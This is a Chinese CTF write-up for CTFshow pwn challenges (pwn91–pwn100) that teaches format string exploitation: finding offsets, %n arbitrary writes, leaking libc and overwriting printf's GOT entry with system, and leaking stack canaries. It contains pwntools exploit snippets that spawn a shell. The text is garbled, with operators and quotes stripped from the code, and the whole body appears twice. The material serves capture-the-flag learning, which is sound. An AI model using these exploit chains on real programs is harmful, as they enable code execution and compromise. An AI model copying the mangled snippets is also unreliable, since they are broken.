1. 格式化字符串漏洞基础原理格式化字符串漏洞是CTF pwn题型中的经典考点它的本质是程序员错误地使用printf等格式化输出函数时将用户输入直接作为第一个参数格式化字符串传递。这种漏洞之所以危险是因为攻击者可以通过精心构造的输入实现内存任意读写。举个例子当程序中出现类似printf(user_input)这样的代码时如果我们在user_input中输入%x程序就会打印出栈上的数据。更危险的是%n格式化符它能把已输出的字符数写入指定地址。比如输入AAAA%4$n就会在第4个参数指向的位置写入数字4。我在实际调试中发现32位和64位程序在参数传递上有明显差异。32位程序所有参数都通过栈传递而64位程序前6个参数会优先使用寄存器rdi/rsi/rdx/rcx/r8/r9超出的部分才会使用栈。这个特性直接影响我们计算格式化字符串偏移的方式。2. 偏移计算与任意地址写入实战2.1 确定格式化字符串偏移要利用格式化字符串漏洞首先需要确定我们的输入在栈上的位置。我常用的方法是输入一串AAAA配合多个%ppayload bAAAA b%p.*10 io.sendline(payload)在输出结果中查找0x41414141AAAA的十六进制数一下它是第几个参数。比如在32位程序中如果出现在第7个%p的位置说明偏移是7。2.2 构造任意写payload找到偏移后就可以利用%n系列格式化符实现任意地址写入。这里有个实用技巧通过控制输出的字符数来精确控制写入的值。比如target_addr 0x0804B038 payload p32(target_addr) b%6c%7$n这个payload会将目标地址压入栈占4字节输出6个字符空格填充将总输出字符数4610写入第7个参数指向的地址在CTFshow pwn91中我就是用这个方法修改了daniu变量的值成功拿到shell。3. GOT表劫持技术详解3.1 GOT/PLT机制回顾动态链接的程序通过GOTGlobal Offset Table来实现函数地址的延迟绑定。当程序第一次调用某个库函数如printf时会先跳转到PLT表再通过GOT表完成地址解析。之后再次调用时就直接使用GOT表中存储的地址。关键点在于GOT表是可写的这就给了我们劫持函数调用的机会。比如把printf的GOT项改为system的PLT地址那么后续调用printf时实际执行的就是system。3.2 完整利用链构造以CTFshow pwn94为例完整攻击流程如下泄露libc基址通过格式化字符串泄露printf的真实地址printf_got elf.got[printf] payload p32(printf_got) b%6$s io.sendline(payload) printf_addr u32(io.recv(4))计算system地址根据libc版本计算偏移libc LibcSearcher(printf, printf_addr) system_addr printf_addr - libc.dump(printf) libc.dump(system)覆写GOT表使用任意写修改printfgotpayload fmtstr_payload(6, {printf_got: system_addr}) io.sendline(payload)触发shell下次调用printf时传入/bin/shio.sendline(/bin/sh\x00)4. 高级利用技巧与实战案例4.1 栈数据泄露技巧当flag直接存在于栈上时如pwn96可以通过大量%p来泄露栈数据。我开发了一个自动化脚本for i in range(6, 20): payload f%{i}$p.encode() io.sendline(payload) leak io.recvline().strip() if b6366 in leak: # cf的hex print(fFound flag at position {i}) break4.2 绕过栈保护机制pwn98题目演示了如何绕过Stack Canary先用格式化字符串泄露canary值栈溢出时保持canary值不变覆盖返回地址到后门函数关键payload构造canary int(io.recvline(), 16) payload bA*0x28 p32(canary) bB*12 p32(backdoor)4.3 64位环境下的特殊处理64位程序如pwn100的利用需要注意参数优先通过寄存器传递地址高位通常是0可以分两次写入先写低位再写高位使用%hn2字节写入代替%n可以减少输出量一个典型的64位payloadpayload f%{lower_two_bytes}c%10$hn.encode() payload payload.ljust(16, bA) p64(target_addr)在实际比赛中我建议先用%p泄露多个位置的值画出完整的栈布局图这对构造精准的payload非常有帮助。同时要注意不同libc版本带来的偏移差异最好准备多个版本的libc数据库。
CTFshow-pwn入门-格式化字符串漏洞实战:从任意读写到GOT覆写
发布时间:2026/6/2 16:00:46
1. 格式化字符串漏洞基础原理格式化字符串漏洞是CTF pwn题型中的经典考点它的本质是程序员错误地使用printf等格式化输出函数时将用户输入直接作为第一个参数格式化字符串传递。这种漏洞之所以危险是因为攻击者可以通过精心构造的输入实现内存任意读写。举个例子当程序中出现类似printf(user_input)这样的代码时如果我们在user_input中输入%x程序就会打印出栈上的数据。更危险的是%n格式化符它能把已输出的字符数写入指定地址。比如输入AAAA%4$n就会在第4个参数指向的位置写入数字4。我在实际调试中发现32位和64位程序在参数传递上有明显差异。32位程序所有参数都通过栈传递而64位程序前6个参数会优先使用寄存器rdi/rsi/rdx/rcx/r8/r9超出的部分才会使用栈。这个特性直接影响我们计算格式化字符串偏移的方式。2. 偏移计算与任意地址写入实战2.1 确定格式化字符串偏移要利用格式化字符串漏洞首先需要确定我们的输入在栈上的位置。我常用的方法是输入一串AAAA配合多个%ppayload bAAAA b%p.*10 io.sendline(payload)在输出结果中查找0x41414141AAAA的十六进制数一下它是第几个参数。比如在32位程序中如果出现在第7个%p的位置说明偏移是7。2.2 构造任意写payload找到偏移后就可以利用%n系列格式化符实现任意地址写入。这里有个实用技巧通过控制输出的字符数来精确控制写入的值。比如target_addr 0x0804B038 payload p32(target_addr) b%6c%7$n这个payload会将目标地址压入栈占4字节输出6个字符空格填充将总输出字符数4610写入第7个参数指向的地址在CTFshow pwn91中我就是用这个方法修改了daniu变量的值成功拿到shell。3. GOT表劫持技术详解3.1 GOT/PLT机制回顾动态链接的程序通过GOTGlobal Offset Table来实现函数地址的延迟绑定。当程序第一次调用某个库函数如printf时会先跳转到PLT表再通过GOT表完成地址解析。之后再次调用时就直接使用GOT表中存储的地址。关键点在于GOT表是可写的这就给了我们劫持函数调用的机会。比如把printf的GOT项改为system的PLT地址那么后续调用printf时实际执行的就是system。3.2 完整利用链构造以CTFshow pwn94为例完整攻击流程如下泄露libc基址通过格式化字符串泄露printf的真实地址printf_got elf.got[printf] payload p32(printf_got) b%6$s io.sendline(payload) printf_addr u32(io.recv(4))计算system地址根据libc版本计算偏移libc LibcSearcher(printf, printf_addr) system_addr printf_addr - libc.dump(printf) libc.dump(system)覆写GOT表使用任意写修改printfgotpayload fmtstr_payload(6, {printf_got: system_addr}) io.sendline(payload)触发shell下次调用printf时传入/bin/shio.sendline(/bin/sh\x00)4. 高级利用技巧与实战案例4.1 栈数据泄露技巧当flag直接存在于栈上时如pwn96可以通过大量%p来泄露栈数据。我开发了一个自动化脚本for i in range(6, 20): payload f%{i}$p.encode() io.sendline(payload) leak io.recvline().strip() if b6366 in leak: # cf的hex print(fFound flag at position {i}) break4.2 绕过栈保护机制pwn98题目演示了如何绕过Stack Canary先用格式化字符串泄露canary值栈溢出时保持canary值不变覆盖返回地址到后门函数关键payload构造canary int(io.recvline(), 16) payload bA*0x28 p32(canary) bB*12 p32(backdoor)4.3 64位环境下的特殊处理64位程序如pwn100的利用需要注意参数优先通过寄存器传递地址高位通常是0可以分两次写入先写低位再写高位使用%hn2字节写入代替%n可以减少输出量一个典型的64位payloadpayload f%{lower_two_bytes}c%10$hn.encode() payload payload.ljust(16, bA) p64(target_addr)在实际比赛中我建议先用%p泄露多个位置的值画出完整的栈布局图这对构造精准的payload非常有帮助。同时要注意不同libc版本带来的偏移差异最好准备多个版本的libc数据库。